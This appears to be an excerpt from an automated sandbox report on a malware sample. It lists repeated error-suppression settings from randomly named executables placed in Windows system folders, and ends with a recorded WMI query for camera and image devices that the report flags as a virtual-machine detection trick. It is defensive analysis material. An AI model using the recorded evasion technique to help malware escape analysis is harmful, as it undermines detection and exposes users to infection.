Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
